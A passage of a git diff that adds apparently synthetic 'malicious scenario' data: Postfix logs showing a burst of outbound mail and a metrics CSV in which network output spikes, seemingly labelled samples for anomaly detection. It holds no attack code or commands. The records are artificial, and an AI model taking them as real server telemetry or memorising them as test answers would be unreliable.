relay=mx.remote.com[13.77.142.119]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:58 mail-server postfix/smtp[19960]: D13A90D4D7: to=, relay=mx.remote.com[227.62.187.107]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:58 mail-server postfix/smtp[41315]: C92147FF08: to=, relay=mx.remote.com[227.3.22.68]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:59 mail-server postfix/smtp[17040]: EB534ADE24: to=, relay=mx.remote.com[66.17.215.189]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:59 mail-server postfix/smtp[22679]: 4FDA6C0C4F: to=, relay=mx.remote.com[241.105.252.93]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:00 mail-server postfix/smtp[17183]: C421DE8C62: to=, relay=mx.remote.com[160.185.194.17]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:01 mail-server postfix/smtp[35009]: 350F46C5D3: to=, relay=mx.remote.com[169.24.135.139]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:02 mail-server postfix/smtp[20127]: 27AB271387: to=, relay=mx.remote.com[182.14.181.94]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:02 mail-server postfix/smtp[49793]: B6445A07D5: to=, relay=mx.remote.com[147.242.249.141]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:03 mail-server postfix/smtp[41307]: EBA9C04EE3: to=, relay=mx.remote.com[139.106.247.51]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:03 mail-server postfix/smtp[18524]: 607F8DDA2B: to=, relay=mx.remote.com[117.74.238.20]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:04 mail-server postfix/smtp[30977]: 1E4E925E85: to=, relay=mx.remote.com[125.246.224.237]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:07 mail-server postfix/smtp[15779]: 88F944AB06: to=, relay=mx.remote.com[142.246.220.186]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:07 mail-server postfix/smtp[16128]: A03B3037E1: to=, relay=mx.remote.com[185.202.31.21]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:08 mail-server postfix/smtp[46667]: 8FAF28EFD2: to=, relay=mx.remote.com[22.179.247.19]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:08 mail-server postfix/smtp[19437]: 4888442B1C: to=, relay=mx.remote.com[146.84.243.120]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:09 mail-server postfix/smtp[15745]: 56E29C0BC3: to=, relay=mx.remote.com[243.250.64.62]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:09 mail-server postfix/smtp[13973]: 0B6FEB19C0: to=, relay=mx.remote.com[131.81.116.179]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:09 mail-server postfix/smtp[12734]: 8CDB3A4296: to=, relay=mx.remote.com[168.212.33.50]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:11 mail-server postfix/smtp[36120]: A0D78AF5BF: to=, relay=mx.remote.com[246.34.186.205]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:12 mail-server postfix/smtp[25428]: 7CE4AA49FB: to=, relay=mx.remote.com[21.209.174.118]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:13 mail-server postfix/smtp[15340]: 065E937F70: to=, relay=mx.remote.com[244.94.46.163]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:15 mail-server postfix/smtp[39965]: 0C1B23B621: to=, relay=mx.remote.com[200.250.223.124]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:16 mail-server postfix/smtp[30979]: 56D8BF6A6F: to=, relay=mx.remote.com[12.184.106.11]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:17 mail-server postfix/smtp[49758]: 0790E1192E: to=, relay=mx.remote.com[178.142.193.233]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:20 mail-server postfix/smtp[13661]: 1D62CBE81E: to=, relay=mx.remote.com[230.149.234.210]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:23 mail-server postfix/smtp[42177]: F56E5A1630: to=, relay=mx.remote.com[135.200.173.150]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:24 mail-server postfix/smtp[38802]: 955C1766DC: to=, relay=mx.remote.com[14.198.130.253]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:24 mail-server postfix/smtp[15629]: FFE9725AB1: to=, relay=mx.remote.com[214.186.134.146]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:24 mail-server postfix/smtp[35176]: C11F9875AB: to=, relay=mx.remote.com[216.85.122.196]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:25 mail-server postfix/smtp[39884]: 2504DB33FB: to=, relay=mx.remote.com[50.196.105.161]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:25 mail-server postfix/smtp[48977]: BCD6CE986A: to=, relay=mx.remote.com[253.15.2.122]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:26 mail-server postfix/smtp[27987]: 84982E1080: to=, relay=mx.remote.com[216.196.254.131]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:28 mail-server postfix/smtp[45293]: 5184239A06: to=, relay=mx.remote.com[162.151.98.98]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:28 mail-server postfix/smtp[25315]: 498AE26507: to=, relay=mx.remote.com[136.105.235.162]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:28 mail-server postfix/smtp[16800]: 0C1F53010E: to=, relay=mx.remote.com[212.222.49.46]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:07:28 mail-server postfix/smtp[30266]: D738EDCFA8: to=, relay=mx.remote.com[60.7.133.199]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_21.csv b/mali_dataset/scenario_5/mali_5_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..df1124b6a6072dd0f82dbf9e6943e1466573258c --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,13.17,39.56,13.49,0.73,1.32 +2025-07-02T11:00:05Z,13.69,44.96,8.84,0.81,1.51 +2025-07-02T11:00:10Z,10.32,41.85,11.52,0.66,0.92 +2025-07-02T11:00:15Z,14.48,36.89,11.64,0.56,1.54 +2025-07-02T11:00:20Z,17.63,39.1,14.56,0.82,1.24 +2025-07-02T11:00:25Z,10.91,43.46,6.38,0.7,1.21 +2025-07-02T11:00:30Z,18.28,40.47,14.47,0.97,1.6 +2025-07-02T11:00:35Z,15.22,38.5,7.35,1.46,1.53 +2025-07-02T11:00:40Z,13.79,44.95,12.78,0.71,1.31 +2025-07-02T11:00:45Z,11.76,36.44,14.44,1.33,1.05 +2025-07-02T11:00:50Z,17.56,37.9,9.58,0.85,1.55 +2025-07-02T11:00:55Z,14.83,40.74,14.75,1.24,0.86 +2025-07-02T11:01:00Z,14.32,39.07,6.68,1.18,1.93 +2025-07-02T11:01:05Z,11.87,39.38,8.31,0.84,0.84 +2025-07-02T11:01:10Z,13.81,44.88,14.05,0.66,1.96 +2025-07-02T11:01:15Z,18.52,38.99,10.26,1.18,1.25 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+2025-07-02T11:04:40Z,43.45,38.42,3.44,1.28,93.1 +2025-07-02T11:04:45Z,59.14,38.27,4.61,1.69,76.8 +2025-07-02T11:04:50Z,60.65,44.53,7.18,1.31,102.51 +2025-07-02T11:04:55Z,57.52,47.08,5.39,2.18,92.91 +2025-07-02T11:05:00Z,49.32,40.42,3.37,1.0,77.11 +2025-07-02T11:05:05Z,71.92,44.79,9.96,1.14,97.44 +2025-07-02T11:05:10Z,57.14,42.43,5.73,2.89,81.01 +2025-07-02T11:05:15Z,52.35,40.88,7.6,1.67,92.2 +2025-07-02T11:05:20Z,60.8,46.64,7.49,2.42,96.4 +2025-07-02T11:05:25Z,45.29,46.3,9.98,1.77,135.56 +2025-07-02T11:05:30Z,42.47,38.08,9.53,1.18,104.38 +2025-07-02T11:05:35Z,58.61,45.39,9.13,1.1,112.17 +2025-07-02T11:05:40Z,40.34,40.74,6.15,1.02,122.07 +2025-07-02T11:05:45Z,42.74,45.81,6.95,2.74,87.18 +2025-07-02T11:05:50Z,41.09,46.29,5.79,1.43,73.7 +2025-07-02T11:05:55Z,41.51,39.78,7.79,1.14,79.55 +2025-07-02T11:06:00Z,38.45,43.54,7.79,2.73,82.61 +2025-07-02T11:06:05Z,54.08,39.36,3.41,1.73,69.64 +2025-07-02T11:06:10Z,39.16,38.12,6.37,1.89,91.75 +2025-07-02T11:06:15Z,58.41,45.74,9.07,2.79,84.35 +2025-07-02T11:06:20Z,62.38,40.16,9.12,1.83,92.71 +2025-07-02T11:06:25Z,54.95,40.72,9.86,1.17,121.88 +2025-07-02T11:06:30Z,52.3,47.98,3.16,2.06,136.37 +2025-07-02T11:06:35Z,53.26,46.07,6.16,1.13,101.94 +2025-07-02T11:06:40Z,61.06,39.3,8.61,1.74,100.3 +2025-07-02T11:06:45Z,63.02,45.8,4.2,1.48,99.9 +2025-07-02T11:06:50Z,66.66,47.37,5.44,1.33,105.82 +2025-07-02T11:06:55Z,54.3,42.07,8.48,2.02,83.62 +2025-07-02T11:07:00Z,49.14,39.03,9.37,1.56,87.64 +2025-07-02T11:07:05Z,59.88,44.59,4.75,2.56,99.4 +2025-07-02T11:07:10Z,57.03,47.75,3.71,2.44,67.22 +2025-07-02T11:07:15Z,48.83,44.97,4.01,1.53,86.23 +2025-07-02T11:07:20Z,43.55,42.15,9.01,1.49,83.46 +2025-07-02T11:07:25Z,43.37,39.95,9.01,2.07,121.85 diff --git a/mali_dataset/scenario_5/mali_5_21.log b/mali_dataset/scenario_5/mali_5_21.log new file mode 100644 index 0000000000000000000000000000000000000000..b930515633b67ad3c51f3df4c788328858c1f34a --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_21.log @@ -0,0 +1,610 @@ +Jul 02 11:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:00:25 CRON[3509]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:40 mail-server postfix/smtp[2118]: 12AEE156EC: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[2118]: 21E28901DF: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[2118]: 0F7B90768B: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:41 mail-server postfix/smtp[2118]: ED949B94A0: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:41 mail-server postfix/smtp[2118]: 5DF33B2785: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:41 mail-server postfix/smtp[2118]: 7AA8DED8C7: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:42 mail-server postfix/smtp[2118]: 4F74D104D9: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:42 mail-server postfix/smtp[2118]: F2696FA205: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:42 mail-server postfix/smtp[2118]: 5FB5ADA146: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:43 mail-server postfix/smtp[2118]: 79345EF081: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[2118]: 0F8E63B579: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[2118]: 7E52333C86: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[2118]: 1C34E4F585: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:46 mail-server postfix/smtp[2118]: 12C645ECF5: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:46 mail-server postfix/smtp[2118]: FBCA19D07C: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:46 mail-server postfix/smtp[2118]: 33ECC8B1BE: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:46 mail-server postfix/smtp[2118]: 723DEFEDB9: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:47 mail-server postfix/smtp[2118]: 1F227A10E7: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:48 mail-server postfix/smtp[2118]: E1A40FFD74: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:48 mail-server postfix/smtp[2118]: 001FF45D78: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[2118]: FF9428FD61: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[2118]: 353CB448D6: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[2118]: BA2BC51B2C: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:51 mail-server postfix/smtp[2118]: 60F54AB82C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:52 mail-server postfix/smtp[2118]: 026FF60EB9: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:53 mail-server postfix/smtp[2118]: 40C8FD9CEE: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:53 mail-server postfix/smtp[2118]: 71ACF3C377: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[2118]: 9FF3FF3202: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:56 mail-server postfix/smtp[2118]: D6E93738E4: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:56 mail-server postfix/smtp[2118]: FF91BB709C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:56 mail-server postfix/smtp[2118]: 947CB9C426: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:56 mail-server postfix/smtp[2118]: 2298E6A2A7: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:57 mail-server postfix/smtp[2118]: E1A0998B1E: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:58 mail-server postfix/smtp[2118]: 2433D5A1DE: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:58 mail-server postfix/smtp[2118]: CEDE2DE089: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:58 mail-server postfix/smtp[2118]: 06B4468338: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[2118]: DC959CB754: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:01 mail-server postfix/smtp[2118]: DCFAAD26D5: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:02 mail-server postfix/smtp[2118]: F3D08C9D4F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:02 mail-server postfix/smtp[2118]: FF6BCDD01F: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:03 mail-server postfix/smtp[2118]: C57C307DD2: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:03 mail-server postfix/smtp[2118]: 27475CB66D: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[2118]: 2E94C7B178: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[2118]: EC47EF3F6F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:06 mail-server postfix/smtp[2118]: 52446309DF: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:06 mail-server postfix/smtp[2118]: 12F285083C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:08 mail-server postfix/smtp[2118]: D6FC56FBB2: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:08 mail-server postfix/smtp[2118]: 47E0AB76E0: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:08 mail-server postfix/smtp[2118]: E87B7065C8: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[2118]: A690497694: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:11 mail-server postfix/smtp[2118]: E0CFD6568F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:11 mail-server postfix/smtp[2118]: 7226F9E102: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:12 mail-server postfix/smtp[2118]: BEC307AE1C: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:13 mail-server postfix/smtp[2118]: E2553BB57B: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[2118]: D35EEFF5AB: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[2118]: 8830C5B154: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[2118]: C0BB433557: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[2118]: 407EB7DE0D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:16 mail-server postfix/smtp[2118]: 59E2C95FF5: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:17 mail-server postfix/smtp[2118]: F08F8AD0FE: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:17 mail-server postfix/smtp[2118]: 8EF66F1776: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:17 mail-server postfix/smtp[2118]: 03266CE106: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:18 mail-server postfix/smtp[2118]: 57713031B5: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:18 mail-server postfix/smtp[2118]: 1FED9F3165: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[2118]: 293E17DA2C: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:21 mail-server postfix/smtp[2118]: 61A0E46D62: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:21 mail-server postfix/smtp[2118]: D6F25F7A22: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:21 mail-server postfix/smtp[2118]: 3236E56CDE: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:22 mail-server postfix/smtp[2118]: F204BEA03C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:23 mail-server postfix/smtp[2118]: D8DE4AB19F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:23 mail-server postfix/smtp[2118]: 75AB6CE224: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:23 mail-server postfix/smtp[2118]: A6CFD25073: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:23 mail-server postfix/smtp[2118]: 5493CD4BC3: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:23 mail-server postfix/smtp[2118]: 2DE4F30C33: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[2118]: 27142E5937: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[2118]: ED0CE33F3C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[2118]: 53D899C75E: to=, 